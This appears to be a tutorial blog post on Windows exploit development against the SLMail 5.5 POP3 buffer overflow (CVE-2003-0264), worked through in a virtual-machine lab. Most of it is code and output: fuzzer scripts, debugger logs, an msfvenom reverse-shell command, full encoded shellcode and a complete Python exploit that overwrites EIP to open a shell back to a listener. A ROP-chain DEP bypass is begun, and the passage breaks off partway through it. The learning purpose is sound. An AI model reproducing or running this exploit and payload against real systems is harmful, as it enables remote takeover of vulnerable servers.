Win32 Exploit Development Notes – SLMail 5.5

In this post, I will be going over my notes on some basic exploit development techniques for the Windows operating system by analyzing a stack-based buffer overflow vulnerability (CVE-2003-0264) on a POP3 mail server called SLMAIL (version 5.5)

This was purely a learning exercise that anyone starting out with exploit development could follow along with. I will write a few different versions of the exploit for Windows XP SP3 and Windows 7 that will handle bypassing DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization) protection.

Table of Contents

    1. Prerequisites

      • What is DEP
      • What is ASLR
    2. Requirements

    3. Debugging

      • Setup
      • Fuzzing
      • Bad Characters
    4. Exploit

      • Payload
      • Windows XP SP3 without DEP
      • Windows XP SP3 with DEP
      • Windows 7 Pro without DEP
      • Windows 7 Pro with DEP + ASLR

Prerequisites

To follow along with these notes, I recommend you have a good understanding of computer science and a basic understanding of how computer memory works in the Windows operating system.  It is also recommended having some basic knowledge of Assembly and the Python programming language.

What is DEP?

Data Execution Prevention (DEP) is a set of hardware and software technologies that perform additional checks on memory to help prevent malicious code from running on a system.  In Microsoft Windows XP Service Pack 2 (SP2) and Microsoft Windows XP Tablet PC Edition 2005, DEP is enforced by hardware and by software.

The primary benefit of DEP is to help prevent code execution from data pages. Typically, code is not executed from the default heap and the stack. Hardware-enforced DEP detects code that is running from these locations and raises an exception when execution occurs. Software-enforced DEP can help prevent malicious code from taking advantage of exception-handling mechanisms in Windows.

What is ASLR?

Address Space Layout Randomization (ASLR) is a memory-protection process for operating systems (OSes) that guards against buffer-overflow attacks by randomizing the location where system executables are loaded into memory. ASLR is able to put address space targets in unpredictable locations. If an attacker attempts to exploit an incorrect address space location, the target application will crash, stopping the attack and alerting the system.

ASLR was created by the Pax Project as a Linux patch in 2001 and was integrated into the Windows operating system beginning with Vista in 2007. Prior to Address Space Layout Randomization, the memory locations of files and applications were either known or easily determined. Adding ASLR to Vista increased the number of possible address space locations to 256, meaning attackers only had a 1 in 256 chance of finding the correct location to execute code. Apple began including ASLR in Mac OS X 10.5 Leopard, and Apple iOS and Google Android both started using ASLR in 2011.

Requirements

In order to analyize the data needed to debug and write exploits, I need to set up a lab for testing. There are many different ways to approach setting up a lab environment, but I used the following tools and resources for this specific instance.

Virtualization Software:

  • VMware Workstation 15 Pro ( link and key [pass: d3d] )

Virtual Machines:

  • Windows XP SP3 ISO ( link )
  • Windows 7 PRO ISO ( link )
  • Kali Linux for VMware ( link )

Debugger Software:

  • Immunity Debugger ( link )
  • Mona.py ( link )

Vulnerable Software:

  • SLMail POP3 Server 5.5 ( link )

Once I had each Windows VM running inside of VMware Workstation, I installed the Immunity Debugger along with the mona.py add-on tool.  Once installed, I made a snapshot of each Windows VM for future use.  After your initial snapshots, the last step of the set up was to install the vulnerable software on both Windows VMs.

Debugging

For this research I will be using the Immunity Debugger with the mona.py library from Corelan. I will start working with the Windows XP SP3 VM first, then move over to the Windows 7 Pro VM.

Setup

To make sure mona.py is installed, and that it is running the latest version, you can type the following into the Immunity command line.
!mona help
After running the above command, you should see the mona.py help menu within the Immunity Debugger log window. The next step is to set the working directory to save all the different log files that will be generated by mona.py. You can run the following command to set the working directory.
!mona config -set working folder c:\debug-logs\%p
If everything worked, you should see the following output in the log window.

0BADF00D [+] Command used: 
0BADF00D !mona config -set working folder c:\debug-logs\%p 
0BADF00D Writing value to configuration file 
0BADF00D [+] Saving config file, modified parameter working 
0BADF00D mona.ini saved under C:\Program Files\Immunity Inc\Immunity Debugger 
0BADF00D New value of parameter working = folder c:\debug-logs\%p

The working directory location will now contain all the different log files that will be generated by mona.py.

Fuzzing

The process of fuzzing applications for security flaws usually takes a long time depending on the attack surface of the application or service you are trying to fuzz.  I could write entire papers on different fuzzing techniques and still not scratch the surface of what’s possible.  Luckily for me, the CVE description points out the exact issue.

SLMail Pro is a web-based POP3 and SMTP email server for Microsoft Windows NT/2000/2003. The vulnerability occurs in the POP3 server and is caused by insufficient bounds checking of the user-supplied password during authentication.

So instead of fuzzing each service, I can focus on fuzzing the user-supplied password during a POP3 authentication attempt.  Before writing any fuzzer scripts for the POP3 protocol, I would recommend bookmarking the RFC1081 documentation to be used as a reference during development.

Taking what I know already, I am going to write a small fuzzer script to send junk data to a POP3 server during the user authentication process, specifically, the PASS command.

#!/usr/bin/env python3

import socket
import sys

payload = "A" * 6000


def fuzz_service(host: str, port: int):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        data = s.recv(1024).decode('latin-1')        # +OK POP3 server WIN-XP-SP3 ready
        s.send("USER d3d\r\n".encode('latin-1'))
        data = s.recv(1024).decode('latin-1')        # +OK d3d welcome here
        s.send(f"PASS {payload}\r\n".encode('latin-1'))
        data = s.recv(1024).decode('latin-1')        # -ERR unable to lock mailbox (or nothing)


if __name__ == '__main__':
    if len(sys.argv) != 3:
        exit(f"[?] Usage: {sys.argv[0]} <ip address> <port>")
    host = str(sys.argv[1])
    port = int(sys.argv[2])
    fuzz_service(host, port)

As you can see in the code above, the script will initiate an authentication attempt with a POP3 service, send a normal USER command, then send a malicious PASS command of 6000 ‘A’ characters.

Before I can test the fuzzer script, I need to make sure I have the SLMail.exe process attached in the Immunity Debugger as seen below.  Also, once the process has been attached, I recommend creating another VM snapshot, so that you don’t have to reboot the VM or restart POP3 service when you crash the application.

Immunity Debugger

Once the process has been attached, I can go ahead and run the fuzzer script to see what happens within the debugger.

python3 fuzzer.py 192.168.8.157 110

After running the script, I can see that the SLMail.exe process had crashed with an Access Violation error.  Below is the log from the crash, and it shows that the script did in fact crash the process and overwrote the EIP register, thus giving me an Access Violation while executing [41414141].

7C812AEB   [13:00:16] Debug string: P3-0001 --> +OK POP3 server WIN-XP-SP3 ready <[email protected]>
7C812AEB   [13:00:16] Debug string: P3-0001 --> +OK POP3 server WIN-XP-SP3 ready <[email protected]>
7C812AEB   [13:00:16] Debug string: P3-0001 <-- USER d3d
7C812AEB   [13:00:16] Debug string: P3-0001 <-- USER d3d
7C812AEB   [13:00:16] Debug string: P3-0001: User d3d does not exist.
7C812AEB   [13:00:16] Debug string: P3-0001: User d3d does not exist.
7C812AEB   [13:00:16] Debug string: P3-0001 --> +OK d3d welcome here
7C812AEB   [13:00:16] Debug string: P3-0001 --> +OK d3d welcome here
7C812AEB   [13:00:16] Debug string: P3-0001 <--
7C812AEB   [13:00:16] Debug string: P3-0001 <--
7C812AEB   [13:00:16] Debug string: P3-0001: Illegal command 0(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
41414141   [13:00:16] Access violation when executing [41414141]

Since I know that 0x41 is the hex representation of the ‘A’ character, we can see that the process stack’s instruction pointer (EIP) is being overwritten by 4 ‘A’ characters somewhere in the payload of 6000 ‘A’ characters. However, since we used a payload of nothing by ‘A’ characters, we won’t be able to tell exactly where the overflow occurred, as we will need to know exactly how many bytes were needed to cause the overflow.

To figure out the offset to overwriting the EIP register, I will use a cyclic pattern of 6000 bytes in length as the new payload in the fuzzer script. I am going to use mona.py to generate the pattern for me.
!mona pc 6000
The above command will generate a file named pattern.txt that will contain an ASCII, Hex and Javascript version of the pattern. I will copy the ASCII version into my development directory as pattern.txt so that I can call it directly from the fuzzer script as seen below.

#!/usr/bin/env python3

import socket
import sys


encoding = "latin-1"

with open('pattern.txt', 'r') as file:
    payload = file.read().replace("\n", "")


def fuzz_service(host: str, port: int):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        data = s.recv(1024).decode(encoding)        # +OK POP3 server WIN-XP-SP3 ready
        s.send("USER d3d\r\n".encode(encoding))
        data = s.recv(1024).decode(encoding)        # +OK d3d welcome here
        s.send(f"PASS {payload}\r\n".encode(encoding))
        data = s.recv(1024).decode(encoding)        # -ERR unable to lock mailbox (or nothing)


if __name__ == '__main__':
    if len(sys.argv) != 3:
        exit(f"[?] Usage: {sys.argv[0]} <ip address> <port>")
    host = str(sys.argv[1])
    port = int(sys.argv[2])
    

After I reloaded my most recent snapshot, I ran the new fuzzer script to push the 6000 byte cyclic pattern instead of the 6000 ‘A’ characters.  I still got an Access Violation as seen below, but this time EIP is trying to execute a different memory address.

7C812AEB   [14:17:06] Debug string: P3-0001 --> +OK POP3 server WIN-XP-SP3 ready <[email protected]>
7C812AEB   [14:17:06] Debug string: P3-0001 --> +OK POP3 server WIN-XP-SP3 ready <[email protected]>
7C812AEB   [14:17:06] Debug string: P3-0001 <-- USER d3d
7C812AEB   [14:17:06] Debug string: P3-0001 <-- USER d3d
7C812AEB   [14:17:06] Debug string: P3-0001: User d3d does not exist.
7C812AEB   [14:17:06] Debug string: P3-0001: User d3d does not exist.
7C812AEB   [14:17:06] Debug string: P3-0001 --> +OK d3d welcome here
7C812AEB   [14:17:06] Debug string: P3-0001 --> +OK d3d welcome here
7C812AEB   [14:17:06] Debug string: P3-0001 <--
7C812AEB   [14:17:06] Debug string: P3-0001 <--
7C812AEB   [14:17:06] Debug string: P3-0001: Illegal command 0(3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6F...
7A46317A   [14:17:06] Access violation when executing [7A46317A]

Since I am using a cyclic pattern instead of those 6000 ‘A’ characters, I can use mona.py to see where exactly in the pattern the overflow occurred by running the following command.
!mona findmsp
The findmsp command will find all instances or certain references to a cyclic pattern (a.k.a. “Metasploit pattern”) in memory, registers, etc

This command has an important requirement : you have to use a cyclic pattern to trigger a crash in your target application.

At crash time, simply run findmsp and you will get the following information :

  • Locations where the cyclic pattern can be found (looks for the first bytes of a pattern) and how long that pattern is
  • Registers that are overwritten with 4 byte of a cyclic pattern and the offset in the pattern to overwrite the register
  • Registers that point into a cyclic pattern, the offset, and the remaining size of the pattern
  • SEH records overwritten with 4 bytes of a cyclic, offset, and size
  • Pointers on the current thread stack, into a cyclic pattern (offset + size)
  • Parts of a cyclic pattern on the stack, the offset from the begin of the pattern and the size of the pattern

In all cases, findmsp will search for normal pattern, uppercase,lowercase, and unicode versions of the cyclic pattern.  The command will also generate the findmsp.txt file in your mona.py working directory.

0BADF00D   [+] Command used:
0BADF00D   !mona findmsp
0BADF00D   [+] Looking for cyclic pattern in memory
0BADF00D       Cyclic pattern (normal) found at 0x015a18e3 (length 6000 bytes)
0BADF00D   [+] Examining registers
0BADF00D       EIP contains normal pattern : 0x7a46317a (offset 4654)
0BADF00D       ESP (0x01c7a154) points at offset 4658 in normal pattern (length 430)
0BADF00D       EBP contains normal pattern : 0x46307a46 (offset 4650)
0BADF00D   [+] Examining SEH chain
0BADF00D   [+] Examining stack (entire stack) - looking for cyclic pattern
0BADF00D       Walking stack from 0x01c78000 to 0x01c7fffc (0x00007ffc bytes)
0BADF00D       0x01c78fe4 : Contains normal cyclic pattern at ESP-0x1170 (-4464) : offset 4092, length 996
0BADF00D       0x01c79f20 : Contains normal cyclic pattern at ESP-0x234 (-564) : offset 4094, length 994
0BADF00D       0x01c7ab14 : Contains normal cyclic pattern at ESP+0x9c0 (+2496) : offset 4092, length 996
0BADF00D       0x01c7cf1c : Contains normal cyclic pattern at ESP+0x2dc8 (+11720) : offset 4092, length 996
0BADF00D   [+] Examining stack (entire stack) - looking for pointers to cyclic pattern
0BADF00D       Walking stack from 0x01c78000 to 0x01c7fffc (0x00007ffc bytes)

...

0BADF00D   [+] Preparing output file 'findmsp.txt'
0BADF00D       - (Re)setting logfile c:\debug-logs\SLmail\findmsp.txt
0BADF00D   [+] Generating module info table, hang on...
0BADF00D       - Processing modules
0BADF00D       - Done. Let's rock 'n roll.
0BADF00D
0BADF00D   [+] This mona.py action took 0:00:10.297000

As can be seen, this command generates a lot of information. First of all, we can see that EIP is overwritten by bytes of the cyclic pattern at the offset 4654. We can see that ESP points to the cyclic pattern at the offset 4658 just behind the four bytes that control EIP, and mona.py also informs us that we have 430 bytes length to store data.

Since ESP points to the cyclic pattern, I should be able to put up to 430 bytes of shellcode in the ESP register, and use the EIP to redirect execution flow to the ESP memory location.  At this point, I could possibly get away with hardcoding  EIP to go directly to the ESP memory location, however this is not very stable since the address can change depending on operating system and any memory protections that may be enabled, so I am going to look for a  DLL that contains a JMP ESP instruction and use that address to store in EIP.

In order to find a JMP ESP instruction, we can use mona.py to look for us with the following instruction.
!mona jmp -r ESP
The above command will generate a list of all the JMP ESP instructions it can find within the namespace of the running process. This includes all the DLLs and other files loaded. I will be using the kernel32.dll for the JMP ESP instruction, mainly because it does not have ASLR enabled as seen below.

Mona jmp esp

At this point I almost have enough information to write an exploit for this service because I currently know:

  • Offset to overwrite EBP (4650 bytes)
  • Offset to overwrite EIP (4654 bytes)
  • Offset to overwrite ESP (4658 bytes)
  • ESP contains 430 bytes of space
  • Address to JMP ESP from kernel32.dll

However, since I will be using the payload as a string within the PASS command on a POP3 mail server, I will need to make sure there are no bad characters that could prematurely terminate the string before the overflow.

Bad Characters

A bad character is simply a list of unwanted characters that can break the shell codes. There is no universal set of bad characters, but depending on the application and the developer logic there is a different set of bad characters for every program that we would encounter. Therefore, I will have to find out the bad characters in every application before writing the shell code.

I will need to generate a byte array with mona.py, then pass that byte array as part of the payload which will store to byte array in ESP.  The byte array generated by mona.py will produce an array with all bytes between \x00 and \xff.  When we check the buffer values within the debugger, we can see if the byte array was either cut off early or was displayed in its entirety. If the byte array was cut off before it was finished, then we have discovered a bad character that is causing the payload to break up.

You can generate a byte array using mona.py by issuing the following command.
!mona bytearray
The above command will generate 2 files within your working directory. One is a text version of the byte array and the other a .bin version that mona.py uses to assist in bad character discovery. Using the text version, I re-wrote the fuzzer script to send the byte array as the payload so we can examine the results in the Immunity Debugger log.

#!/usr/bin/env python3

import socket
import sys


encoding = "latin-1"

byt3s = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13" \
        "\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27" \
        "\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b" \
        "\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f" \
        "\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63" \
        "\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77" \
        "\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b" \
        "\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" \
        "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3" \
        "\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7" \
        "\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb" \
        "\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" \
        "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xF7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"


def build_payload(payload: str):
    payload_size = len(payload)
    buffer_size = 8000
    pre_padding = 'A' * 4654
    post_padding = 'C' * (buffer_size - (4658 + payload_size))
    eip_stub = 'BBBB'
    esp_stub = payload
    return f"{pre_padding}{eip_stub}{esp_stub}{post_padding}"


def fuzz_service(host: str, port: int):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        data = s.recv(1024).decode()  # +OK POP3 server WIN-XP-SP3 ready
        s.send("USER d3d\r\n".encode(encoding))
        data = s.recv(1024).decode()  # +OK d3d welcome here
        payload = build_payload(byt3s)
        s.send(f"PASS {payload}\r\n".encode(encoding))
        data = s.recv(1024).decode()  # -ERR unable to lock mailbox (or nothing)


if __name__ == '__main__':
    if len(sys.argv) != 3:
        exit(f"[?] Usage: {sys.argv[0]} <ip address> <port>")
    host = str(sys.argv[1])
    port = int(sys.argv[2])
    fuzz_service(host, port)

Now that I have a new script written as seen above, I am going to run it to start looking for bad characters with the help of mona.py.

python3 fuzzer.py 192.168.8.157 110

After running the fuzzer script the POP3 service crashed, as predicted when trying to execute address 42424242 which is the ‘BBBB’ string within the fuzzer script eip_stub variable.  This is exactly what I wanted because it means ESP should now contain the byte array; I now need to use mona.py to help assist in finding some bad characters by running the following command.
!mona compare -f c:\debug-logs\slmail\bytearray.bin -a 0x01c7a154
The above command will take the address (0x01c7a154 or ESP) and start comparing bytes against the bytearray.bin file that was generated in the last step.

The process of finding bad characters is very simple. We can use another mona.py feature to read the original byte array from the binary file that was created and compare those bytes with the array that is in memory at crash time.

Mona.py will then read the binary file, takes the first 8 bytes from the file, locates all instances of those 8 bytes in memory, and compare each of the bytes of the array with the bytes in memory, listing the ones that were not altered, and listing the ones that were changed/corrupted.

Mona bad characters

The previous command generated a new window within the Immunity Debugger called mona Memory comparison results.  This window will display the byte characters detected by the comparison as seen above.

I can see by the results, that the byte 0x00 is considered a bad character, mainly because the 0x00 byte is called the NULL byte.  A NULL byte will terminate a string causing any shellcode to fail if encountered.  To exclude the bad character from the mona.py byte array, I need to run the following command to allow mona.py to re-build the byte array without the 0x00 byte.
!mona bytearray -cpb \x00
After the new byte array has been generated, make sure to remove the 0x00 byte from the fuzzer script, then re-run to look for more bad characters.
!mona compare -f c:\debug-logs\slmail\bytearray.bin -a 0x01c7a154
After a few iterations of running this over and over to exclude all the bad characters, I discovered the bytes 0x00, 0x0a and 0x0d to be bad characters to avoid when writing the shellcode.  This makes sense because the NULL byte (0x00), Line Feed (0x0a) and Carriage Return (0x0d) characters all break the string up.

Exploit

Now I have enough information to write a PoC exploit for the Windows XP SP3 and Windows 7 Pro operating systems. I will focus on Windows XP SP3 first, then move onto the Windows 7 Pro VM afterward.  This is purely to show the progression of exploit development from one windows version to the next, including DEP and ASLR.

Payload

I will be using the same payload for both versions of Windows, which will be generated using msfvenom.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.8.163 LPORT=443 -b '\x00\x0a\x0d' -f python -a x86

The above command was run on the Kali Linux VM which already has a copy of Metasploit installed. The command produces some shellcode that I will be using in my exploit as seen below.

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf =  b""
buf += b"\xda\xcf\xbb\xc3\x95\x32\x27\xd9\x74\x24\xf4\x5a\x29"
buf += b"\xc9\xb1\x52\x31\x5a\x17\x83\xc2\x04\x03\x99\x86\xd0"
buf += b"\xd2\xe1\x41\x96\x1d\x19\x92\xf7\x94\xfc\xa3\x37\xc2"
buf += b"\x75\x93\x87\x80\xdb\x18\x63\xc4\xcf\xab\x01\xc1\xe0"
buf += b"\x1c\xaf\x37\xcf\x9d\x9c\x04\x4e\x1e\xdf\x58\xb0\x1f"
buf += b"\x10\xad\xb1\x58\x4d\x5c\xe3\x31\x19\xf3\x13\x35\x57"
buf += b"\xc8\x98\x05\x79\x48\x7d\xdd\x78\x79\xd0\x55\x23\x59"
buf += b"\xd3\xba\x5f\xd0\xcb\xdf\x5a\xaa\x60\x2b\x10\x2d\xa0"
buf += b"\x65\xd9\x82\x8d\x49\x28\xda\xca\x6e\xd3\xa9\x22\x8d"
buf += b"\x6e\xaa\xf1\xef\xb4\x3f\xe1\x48\x3e\xe7\xcd\x69\x93"
buf += b"\x7e\x86\x66\x58\xf4\xc0\x6a\x5f\xd9\x7b\x96\xd4\xdc"
buf += b"\xab\x1e\xae\xfa\x6f\x7a\x74\x62\x36\x26\xdb\x9b\x28"
buf += b"\x89\x84\x39\x23\x24\xd0\x33\x6e\x21\x15\x7e\x90\xb1"
buf += b"\x31\x09\xe3\x83\x9e\xa1\x6b\xa8\x57\x6c\x6c\xcf\x4d"
buf += b"\xc8\xe2\x2e\x6e\x29\x2b\xf5\x3a\x79\x43\xdc\x42\x12"
buf += b"\x93\xe1\x96\xb5\xc3\x4d\x49\x76\xb3\x2d\x39\x1e\xd9"
buf += b"\xa1\x66\x3e\xe2\x6b\x0f\xd5\x19\xfc\xf0\x82\x29\x63"
buf += b"\x98\xd0\x29\x9a\xe2\x5c\xcf\xf6\x04\x09\x58\x6f\xbc"
buf += b"\x10\x12\x0e\x41\x8f\x5f\x10\xc9\x3c\xa0\xdf\x3a\x48"
buf += b"\xb2\x88\xca\x07\xe8\x1f\xd4\xbd\x84\xfc\x47\x5a\x54"
buf += b"\x8a\x7b\xf5\x03\xdb\x4a\x0c\xc1\xf1\xf5\xa6\xf7\x0b"
buf += b"\x63\x80\xb3\xd7\x50\x0f\x3a\x95\xed\x2b\x2c\x63\xed"
buf += b"\x77\x18\x3b\xb8\x21\xf6\xfd\x12\x80\xa0\x57\xc8\x4a"
buf += b"\x24\x21\x22\x4d\x32\x2e\x6f\x3b\xda\x9f\xc6\x7a\xe5"
buf += b"\x10\x8f\x8a\x9e\x4c\x2f\x74\x75\xd5\x5f\x3f\xd7\x7c"
buf += b"\xc8\xe6\x82\x3c\x95\x18\x79\x02\xa0\x9a\x8b\xfb\x57"
buf += b"\x82\xfe\xfe\x1c\x04\x13\x73\x0c\xe1\x13\x20\x2d\x20"

 

Windows XP SP3 without DEP

Using the above shellcode, I am going to write an exploit to try and catch a reverse shell from the vulnerable POP3 service as seen below.

#!/usr/bin/env python3

# SLMail POP3 Server Exploit
# Target: Windows XP SP3 - NO DEP
# Author: d3d at Malicious.Group

import socket
import struct
import sys

# Set character encoding
encoding = "latin-1"

# Shellcode generated by msfvenom (shell_reverse_tcp)
buf = ""
buf += "\xda\xcf\xbb\xc3\x95\x32\x27\xd9\x74\x24\xf4\x5a\x29"
buf += "\xc9\xb1\x52\x31\x5a\x17\x83\xc2\x04\x03\x99\x86\xd0"
buf += "\xd2\xe1\x41\x96\x1d\x19\x92\xf7\x94\xfc\xa3\x37\xc2"
buf += "\x75\x93\x87\x80\xdb\x18\x63\xc4\xcf\xab\x01\xc1\xe0"
buf += "\x1c\xaf\x37\xcf\x9d\x9c\x04\x4e\x1e\xdf\x58\xb0\x1f"
buf += "\x10\xad\xb1\x58\x4d\x5c\xe3\x31\x19\xf3\x13\x35\x57"
buf += "\xc8\x98\x05\x79\x48\x7d\xdd\x78\x79\xd0\x55\x23\x59"
buf += "\xd3\xba\x5f\xd0\xcb\xdf\x5a\xaa\x60\x2b\x10\x2d\xa0"
buf += "\x65\xd9\x82\x8d\x49\x28\xda\xca\x6e\xd3\xa9\x22\x8d"
buf += "\x6e\xaa\xf1\xef\xb4\x3f\xe1\x48\x3e\xe7\xcd\x69\x93"
buf += "\x7e\x86\x66\x58\xf4\xc0\x6a\x5f\xd9\x7b\x96\xd4\xdc"
buf += "\xab\x1e\xae\xfa\x6f\x7a\x74\x62\x36\x26\xdb\x9b\x28"
buf += "\x89\x84\x39\x23\x24\xd0\x33\x6e\x21\x15\x7e\x90\xb1"
buf += "\x31\x09\xe3\x83\x9e\xa1\x6b\xa8\x57\x6c\x6c\xcf\x4d"
buf += "\xc8\xe2\x2e\x6e\x29\x2b\xf5\x3a\x79\x43\xdc\x42\x12"
buf += "\x93\xe1\x96\xb5\xc3\x4d\x49\x76\xb3\x2d\x39\x1e\xd9"
buf += "\xa1\x66\x3e\xe2\x6b\x0f\xd5\x19\xfc\xf0\x82\x29\x63"
buf += "\x98\xd0\x29\x9a\xe2\x5c\xcf\xf6\x04\x09\x58\x6f\xbc"
buf += "\x10\x12\x0e\x41\x8f\x5f\x10\xc9\x3c\xa0\xdf\x3a\x48"
buf += "\xb2\x88\xca\x07\xe8\x1f\xd4\xbd\x84\xfc\x47\x5a\x54"
buf += "\x8a\x7b\xf5\x03\xdb\x4a\x0c\xc1\xf1\xf5\xa6\xf7\x0b"
buf += "\x63\x80\xb3\xd7\x50\x0f\x3a\x95\xed\x2b\x2c\x63\xed"
buf += "\x77\x18\x3b\xb8\x21\xf6\xfd\x12\x80\xa0\x57\xc8\x4a"
buf += "\x24\x21\x22\x4d\x32\x2e\x6f\x3b\xda\x9f\xc6\x7a\xe5"
buf += "\x10\x8f\x8a\x9e\x4c\x2f\x74\x75\xd5\x5f\x3f\xd7\x7c"
buf += "\xc8\xe6\x82\x3c\x95\x18\x79\x02\xa0\x9a\x8b\xfb\x57"
buf += "\x82\xfe\xfe\x1c\x04\x13\x73\x0c\xe1\x13\x20\x2d\x20"

# Binary Information generated by mona.py
bin_data = dict()
bin_data['eip_offset'] = 4654           # EIP contains normal pattern (offset 4654)
bin_data['stage_1_size'] = 420          # ESP points to offset at 4658 (length 430)
bin_data['pattern_size'] = 6000         # Cyclic pattern found (length 6000 bytes)
bin_data['jmp_esp'] = struct.pack('<L', 0x7c86467b).decode(encoding)     # jmp esp


def build_payload(data: dict, sc: str):
    """ Build a Malicious payload for our target service """
    sc_size = len(sc)
    padding_1 = 'A' * data['eip_offset']
    padding_2 = 'B' * (data['pattern_size'] - (data['eip_offset'] + data['stage_1_size']))
    nopsled = '\x90' * (data['stage_1_size'] - sc_size)
    shellcode = f"{nopsled}{sc}"
    return f"{padding_1}{data['jmp_esp']}{shellcode}{padding_2}"


def exploit(host: str, port: int, payload: str):
    """ Exploit the target service, redirect to shellcode """
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        s.recv(1024).decode()        # +OK POP3 server WIN-XP-SP3 ready
        s.send("USER d3d\r\n".encode(encoding))
        s.recv(1024).decode()        # +OK d3d welcome here
        s.send(f"PASS {payload}\r\n".encode(encoding))
        s.recv(1024).decode()        # -ERR unable to lock mailbox (or nothing)


if __name__ == '__main__':
    if len(sys.argv) != 3:
        exit("[?] Usage: %s <ip address> <port>" % sys.argv[0])
    _host = str(sys.argv[1])
    _port = int(sys.argv[2])
    _payload = build_payload(bin_data, buf)
    exploit(_host, _port, _payload)

Before running the exploit above, I need to set up a netcat listener on port 443 to catch the reverse shell if the exploit is successful. Once the listener is running, its time to test the exploit.

python3 exploit.py 192.168.8.157 110

BINGO!  The exploit worked, and spawned a Windows CMD shell pipe to our netcat listener as seen below.

Windows XP SP3 Shell

Windows XP SP3 with DEP

So I know that I can get the shellcode to execute on a target that isn’t using DEP, but what would happen if I enabled DEP within the Windows XP SP3 machine across all the processes? I am going to enable DEP protection within the Windows OS by following these directions:

If you are logged on as an administrator, you can manually configure DEP to switch between the OptIn and OptOut policies by using the Data Execution Prevention tab in System Properties. The following procedure describes how to manually configure DEP on the computer:

  1. Click Start, click Run, type sysdm.cpl, and then click OK.
  2. On the Advanced tab, under Performance, click Settings.
  3. On the Data Execution Prevention tab, use one of the following procedures:
    • Click Turn on DEP for essential Windows programs and services only to select the OptIn policy.
    • Click Turn on DEP for all programs and services except those I select to select the OptOut policy, and then click
      Add to add the programs that you do not want to use the DEP feature.
  4. Click OK two times.

Once I set the option as seen above, I rebooted the VM to make sure the changes were set.  Now let’s see what happens when we try to run the previous exploit on a Windows OS with DEP enabled.

Once I set the option as seen above, I rebooted the VM to make sure the changes were set. Now let’s see what happens when we try to run the previous exploit on a Windows OS with DEP enabled.

python3 exploit.py 192.168.8.157 110

Hmm… it fails with an Access Violation when executing the address 0x01c7a154, which is the address of ESP.  Since DEP is enabled, the stack is now set to non-executabable, so when the code redirection hits the ESP register, it fails as seen below.

DEP Access Violation

To bypass the non-executable stack protection, I can use the ret2libc (return to libc) technique.  I can look in memory for pointers to instructions I want to execute followed by a RET instruction, then chain them together on the stack.  This technique is known as ROP (return-oriented programming), the set of instructions referenced by the pointers are known as ROP gadgets, and the set of pointers to instructions is the ROP chain.  Some of the more interesting pointers for bypassing DEP are…

For this specific example I will be using the VirtualAlloc function to reserve or commit a region of pages in the virtual address space of the calling process.  This will allow me to set the shellcode memory as executable.

VirtualAlloc C++ Pointer

Above is the C++ syntax for the function VirtualAlloc, and it order to use this function within our code I will need to set up the stack as seen below.

EAX = NOP (0x90909090)
ECX = flProtect (0x40)
EDX = flAllocationType (0x1000)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualAlloc()
EDI = ROP NOP (RETN)

As you would have guessed, mona.py has a tool to assist in setting up the stack as seen above.
!mona rop
The above command will create the files rop.txt, rop_chains.txt, rop_suggestions.txt, and stackpivot.txt within our working directory. I am going to open rop_chains.txt to examine the Python code as seen below.

def create_rop_chain():

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      0x00000000,  # [-] Unable to find API pointer -> eax
      0x7c902afc,  # MOV EAX,DWORD PTR DS:[EAX] # RETN 0x04 [ntdll.dll] 
      0x7c94d192,  # XCHG EAX,ESI # RETN [ntdll.dll] 
      0x41414141,  # Filler (RETN offset compensation)
      0x7c9701f2,  # POP EBP # RETN [ntdll.dll] 
      0x7c919db0,  # & push esp # ret  [ntdll.dll]
      0x7c94d211,  # POP EBX # RETN [ntdll.dll] 
      0x00000001,  # 0x00000001-> ebx
      0x7c90e2e6,  # POP EDX # RETN [ntdll.dll] 
      0x00001000,  # 0x00001000-> edx
      0x7c972332,  # POP ECX # RETN [ntdll.dll] 
      0x00000040,  # 0x00000040-> ecx
